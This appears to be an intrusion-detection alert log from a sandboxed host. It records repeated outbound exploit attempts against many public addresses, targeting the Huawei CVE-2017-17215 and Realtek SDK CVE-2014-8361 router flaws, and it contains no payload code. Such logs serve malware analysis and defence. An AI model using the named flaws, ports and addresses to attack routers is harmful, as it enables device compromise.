07/20/24-23:01:50.794251	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50094	52869	192.168.2.23	87.83.8.136
07/20/24-23:00:57.221735	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47684	37215	192.168.2.23	41.214.148.214
07/20/24-23:01:04.118166	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45782	37215	192.168.2.23	185.92.40.236
07/20/24-23:01:08.599362	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50400	52869	192.168.2.23	71.113.201.241
07/20/24-23:01:34.053062	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44258	37215	192.168.2.23	197.91.197.8
07/20/24-23:01:46.520662	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36958	52869	192.168.2.23	37.115.2.79
07/20/24-23:01:41.722161	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43486	52869	192.168.2.23	91.196.45.114
07/20/24-23:01:25.589558	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54630	37215	192.168.2.23	197.200.133.254
07/20/24-23:01:41.303669	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41978	52869	192.168.2.23	184.207.38.235
07/20/24-23:01:52.686542	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	35262	52869	192.168.2.23	95.85.24.175
07/20/24-23:01:31.975513	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37012	37215	192.168.2.23	170.28.87.249
07/20/24-23:01:46.620479	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39684	52869	192.168.2.23	23.141.254.89
07/20/24-23:01:50.202477	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52778	52869	192.168.2.23	192.56.35.207
07/20/24-23:01:43.825430	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41712	52869	192.168.2.23	101.42.79.184
07/20/24-23:01:58.885082	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38460	52869	192.168.2.23	130.218.184.181
07/20/24-23:01:49.660516	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51048	52869	192.168.2.23	133.169.65.78
07/20/24-23:01:53.057359	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38558	52869	192.168.2.23	42.29.184.117
07/20/24-23:01:45.500697	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59950	52869	192.168.2.23	88.49.181.78
07/20/24-23:01:08.634900	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55072	52869	192.168.2.23	123.42.160.177
07/20/24-23:01:11.817297	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43468	37215	192.168.2.23	157.114.226.119
07/20/24-23:00:59.148145	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53440	37215	192.168.2.23	157.5.83.65
07/20/24-23:01:27.653586	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54258	37215	192.168.2.23	175.51.152.50
07/20/24-23:01:42.145997	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60476	52869	192.168.2.23	177.64.16.178
07/20/24-23:01:52.094111	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48356	52869	192.168.2.23	107.137.22.219
07/20/24-23:01:01.320095	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34398	52869	192.168.2.23	27.254.228.216
07/20/24-23:01:20.144672	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54608	37215	192.168.2.23	157.28.100.8
07/20/24-23:01:25.980169	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47834	52869	192.168.2.23	157.217.190.133
07/20/24-23:00:57.222009	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36512	37215	192.168.2.23	157.21.67.49
07/20/24-23:01:41.276434	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54756	52869	192.168.2.23	86.130.161.177
07/20/24-23:01:21.954501	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56588	37215	192.168.2.23	189.208.63.195
07/20/24-23:01:41.360320	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47796	52869	192.168.2.23	98.9.1.207
07/20/24-23:01:54.569234	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54596	52869	192.168.2.23	206.56.63.93
07/20/24-23:01:42.145997	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34796	52869	192.168.2.23	82.91.121.224
07/20/24-23:01:44.250892	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60948	52869	192.168.2.23	137.66.212.197
07/20/24-23:01:10.711138	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42232	52869	192.168.2.23	181.43.61.4
07/20/24-23:01:51.258596	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36072	52869	192.168.2.23	199.106.155.17
07/20/24-23:01:57.049485	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39522	52869	192.168.2.23	135.128.96.121
07/20/24-23:01:13.730392	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52548	52869	192.168.2.23	118.135.71.210
07/20/24-23:01:24.885895	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59874	37215	192.168.2.23	157.209.58.117
07/20/24-23:01:49.803911	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58846	52869	192.168.2.23	24.200.205.123
07/20/24-23:01:20.110860	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57738	37215	192.168.2.23	41.233.17.165
07/20/24-23:01:53.844694	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51090	52869	192.168.2.23	112.42.28.225
07/20/24-23:01:40.307219	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46016	37215	192.168.2.23	193.159.96.215
07/20/24-23:01:43.147289	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47782	52869	192.168.2.23	158.240.85.125
07/20/24-23:02:09.148759	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60412	52869	192.168.2.23	189.55.165.96
07/20/24-23:01:00.634292	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51864	37215	192.168.2.23	41.229.84.234
07/20/24-23:02:06.680685	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54018	52869	192.168.2.23	89.86.75.249
07/20/24-23:01:49.794519	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50970	52869	192.168.2.23	200.250.178.79
07/20/24-23:01:56.013827	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57882	52869	192.168.2.23	114.121.50.137
07/20/24-23:01:41.508271	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60680	52869	192.168.2.23	192.59.76.250
07/20/24-23:01:54.901420	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53268	52869	192.168.2.23	135.69.136.147
07/20/24-23:01:57.512168	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38104	52869	192.168.2.23	14.187.245.173
07/20/24-23:01:08.655109	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44428	52869	192.168.2.23	155.22.90.90
07/20/24-23:01:42.520139	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36254	52869	192.168.2.23	222.217.185.57
07/20/24-23:01:56.315740	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58126	52869	192.168.2.23	19.194.171.63
07/20/24-23:01:14.105908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53884	37215	192.168.2.23	157.223.215.224
07/20/24-23:02:00.538390	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53262	52869	192.168.2.23	103.238.68.11
07/20/24-23:01:20.591862	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56994	52869	192.168.2.23	213.215.4.32
07/20/24-23:01:58.719313	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58424	52869	192.168.2.23	159.133.17.143
07/20/24-23:01:34.044152	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34678	37215	192.168.2.23	157.233.70.28
07/20/24-23:01:49.454456	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	56898	52869	192.168.2.23	19.194.171.63
07/20/24-23:01:08.571946	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54340	52869	192.168.2.23	105.234.100.63
07/20/24-23:01:40.294677	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33904	37215	192.168.2.23	197.252.182.107
07/20/24-23:02:12.193882	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41006	52869	192.168.2.23	197.114.179.188
07/20/24-23:01:34.050672	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45042	37215	192.168.2.23	197.31.86.74
07/20/24-23:01:00.633810	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40002	37215	192.168.2.23	157.59.116.210
07/20/24-23:01:59.938491	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46086	52869	192.168.2.23	128.36.26.52
07/20/24-23:01:41.259813	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46320	52869	192.168.2.23	130.201.79.70
07/20/24-23:01:42.551511	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33580	52869	192.168.2.23	42.245.92.167
07/20/24-23:01:56.504220	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45026	52869	192.168.2.23	189.167.254.123
07/20/24-23:01:25.300817	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52658	52869	192.168.2.23	220.0.122.40
07/20/24-23:01:40.320408	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40850	37215	192.168.2.23	157.7.143.99
07/20/24-23:01:24.882291	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34656	37215	192.168.2.23	157.30.21.28
07/20/24-23:01:47.870904	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46610	52869	192.168.2.23	187.174.160.150
07/20/24-23:01:41.620386	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49108	52869	192.168.2.23	73.113.35.189
07/20/24-23:01:44.660016	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57142	52869	192.168.2.23	163.162.88.124
07/20/24-23:01:31.976795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53580	37215	192.168.2.23	197.181.192.91
07/20/24-23:01:53.261844	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36412	52869	192.168.2.23	203.219.226.207
07/20/24-23:01:20.603553	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59972	52869	192.168.2.23	218.129.227.171
07/20/24-23:00:59.192052	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50524	37215	192.168.2.23	197.26.114.175
07/20/24-23:01:06.990165	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46280	37215	192.168.2.23	41.3.17.176
07/20/24-23:01:48.576249	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34132	52869	192.168.2.23	37.189.26.199
07/20/24-23:01:51.932550	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49520	52869	192.168.2.23	135.160.162.200
07/20/24-23:01:42.304767	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33306	52869	192.168.2.23	153.201.149.50
07/20/24-23:01:31.322110	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50904	52869	192.168.2.23	175.125.103.77
07/20/24-23:01:56.007136	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60990	52869	192.168.2.23	104.171.202.164
07/20/24-23:01:52.599834	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48136	52869	192.168.2.23	162.239.164.172
07/20/24-23:01:14.097795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47320	37215	192.168.2.23	157.205.157.48
07/20/24-23:01:41.337240	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37948	52869	192.168.2.23	115.35.192.158
07/20/24-23:00:59.194576	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58804	37215	192.168.2.23	157.251.206.76
07/20/24-23:02:01.201976	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53466	52869	192.168.2.23	167.60.51.106
07/20/24-23:01:25.845560	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43370	52869	192.168.2.23	112.202.108.197
07/20/24-23:01:47.385543	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37590	52869	192.168.2.23	48.211.124.159
07/20/24-23:01:55.508957	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	43964	52869	192.168.2.23	163.75.91.9
07/20/24-23:01:25.388031	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60752	52869	192.168.2.23	58.239.1.240
07/20/24-23:01:47.775082	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38104	52869	192.168.2.23	37.115.2.79
07/20/24-23:01:54.177524	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32964	52869	192.168.2.23	174.150.164.6
07/20/24-23:01:59.234150	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33340	52869	192.168.2.23	37.223.190.191
07/20/24-23:01:02.059312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54822	37215	192.168.2.23	117.219.119.200
07/20/24-23:01:09.891414	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34962	52869	192.168.2.23	131.120.226.33
07/20/24-23:01:51.979094	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41372	52869	192.168.2.23	112.142.124.162
07/20/24-23:01:12.806645	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41902	52869	192.168.2.23	185.44.122.49
07/20/24-23:01:52.285244	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55514	52869	192.168.2.23	129.174.206.130
07/20/24-23:01:02.093903	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41738	37215	192.168.2.23	41.105.49.77
07/20/24-23:01:14.013456	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50252	37215	192.168.2.23	128.228.244.234
07/20/24-23:01:07.066373	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41962	37215	192.168.2.23	157.115.234.122
07/20/24-23:01:31.327808	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	32914	52869	192.168.2.23	97.255.56.23
07/20/24-23:01:31.974656	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55358	37215	192.168.2.23	157.16.40.52
07/20/24-23:01:31.982801	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46168	37215	192.168.2.23	41.129.91.74
07/20/24-23:01:46.416206	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59336	52869	192.168.2.23	96.94.31.193
07/20/24-23:01:50.483105	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49882	52869	192.168.2.23	41.3.232.51
07/20/24-23:01:10.666264	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41658	52869	192.168.2.23	72.182.219.141
07/20/24-23:01:53.494330	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	48532	52869	192.168.2.23	197.243.125.183
07/20/24-23:01:08.912088	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34906	52869	192.168.2.23	195.67.134.63
07/20/24-23:01:41.648203	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44442	52869	192.168.2.23	223.203.126.251
07/20/24-23:01:42.699478	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39250	52869	192.168.2.23	165.86.188.195
07/20/24-23:01:11.188768	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52494	52869	192.168.2.23	62.245.86.200
07/20/24-23:01:41.960623	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45334	52869	192.168.2.23	208.75.90.116
07/20/24-23:01:53.057358	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54552	52869	192.168.2.23	63.26.163.169
07/20/24-23:01:40.311124	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38954	37215	192.168.2.23	157.26.5.201
07/20/24-23:01:20.596401	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39248	52869	192.168.2.23	157.5.72.210
07/20/24-23:01:43.946478	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57058	52869	192.168.2.23	39.124.235.174
07/20/24-23:01:57.050420	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60922	52869	192.168.2.23	163.50.116.249
07/20/24-23:01:08.672944	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50556	52869	192.168.2.23	12.208.124.228
07/20/24-23:02:48.156942	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35430	52869	192.168.2.23	186.52.228.17
07/20/24-23:01:24.934977	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45260	37215	192.168.2.23	157.203.255.180
07/20/24-23:01:25.503352	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57016	52869	192.168.2.23	213.71.93.224
07/20/24-23:01:44.466756	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40356	52869	192.168.2.23	86.24.154.203
07/20/24-23:01:51.932550	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54136	52869	192.168.2.23	134.173.191.58
07/20/24-23:01:10.756983	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60230	52869	192.168.2.23	42.191.217.231
07/20/24-23:00:59.192052	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56934	37215	192.168.2.23	157.223.197.130
07/20/24-23:01:14.097795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43802	37215	192.168.2.23	190.79.68.182
07/20/24-23:01:49.921076	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35244	52869	192.168.2.23	120.69.243.217
07/20/24-23:01:32.028836	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45492	37215	192.168.2.23	186.54.113.175
07/20/24-23:01:20.113254	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56802	37215	192.168.2.23	202.114.113.132
07/20/24-23:01:04.082384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58620	37215	192.168.2.23	197.41.17.240
07/20/24-23:02:04.208558	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38938	52869	192.168.2.23	202.29.220.93
07/20/24-23:01:44.302645	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44116	52869	192.168.2.23	119.167.95.17
07/20/24-23:01:00.654988	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46836	37215	192.168.2.23	197.236.128.48
07/20/24-23:01:34.046616	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32822	37215	192.168.2.23	41.197.119.215
07/20/24-23:01:44.295391	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50356	52869	192.168.2.23	120.63.90.68
07/20/24-23:01:54.980256	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	45806	52869	192.168.2.23	96.1.75.175
07/20/24-23:00:59.196993	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48984	37215	192.168.2.23	41.231.235.189
07/20/24-23:01:31.323043	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59916	52869	192.168.2.23	213.157.19.102
07/20/24-23:01:27.730585	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60510	37215	192.168.2.23	157.89.78.68
07/20/24-23:01:24.510301	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41918	52869	192.168.2.23	144.247.247.76
07/20/24-23:02:00.484578	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58038	52869	192.168.2.23	199.27.212.72
07/20/24-23:01:42.809716	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37290	52869	192.168.2.23	17.37.38.42
07/20/24-23:01:45.233561	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54774	52869	192.168.2.23	166.201.201.44
07/20/24-23:01:31.322288	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60192	52869	192.168.2.23	24.104.161.240
07/20/24-23:01:42.799973	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34198	52869	192.168.2.23	132.171.123.209
07/20/24-23:01:10.775483	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43032	52869	192.168.2.23	144.152.137.9
07/20/24-23:01:48.369883	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40972	52869	192.168.2.23	166.102.172.20
07/20/24-23:01:08.600114	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44382	52869	192.168.2.23	108.144.159.228
07/20/24-23:01:40.285038	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41800	37215	192.168.2.23	160.135.194.107
07/20/24-23:01:51.056707	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34134	52869	192.168.2.23	62.146.159.96
07/20/24-23:01:41.258403	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35944	52869	192.168.2.23	84.227.123.147
07/20/24-23:01:50.128003	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50218	52869	192.168.2.23	118.32.91.217
07/20/24-23:01:42.643745	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53574	52869	192.168.2.23	219.68.37.27
07/20/24-23:01:42.780168	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46568	52869	192.168.2.23	93.36.62.56
07/20/24-23:01:02.721582	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40048	52869	192.168.2.23	209.101.108.92
07/20/24-23:01:00.639011	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53980	37215	192.168.2.23	157.230.88.31
07/20/24-23:01:11.634077	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32922	37215	192.168.2.23	41.74.2.198
07/20/24-23:01:40.285038	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38402	37215	192.168.2.23	157.59.143.10
07/20/24-23:01:41.660997	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53996	52869	192.168.2.23	151.105.247.52
07/20/24-23:01:24.960642	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54608	37215	192.168.2.23	197.66.163.45
07/20/24-23:01:45.582631	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37576	52869	192.168.2.23	47.192.243.189
07/20/24-23:01:08.615260	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52816	52869	192.168.2.23	212.172.247.72
07/20/24-23:01:27.739158	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52978	37215	192.168.2.23	157.195.217.147
07/20/24-23:01:09.027075	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43632	52869	192.168.2.23	188.92.250.125
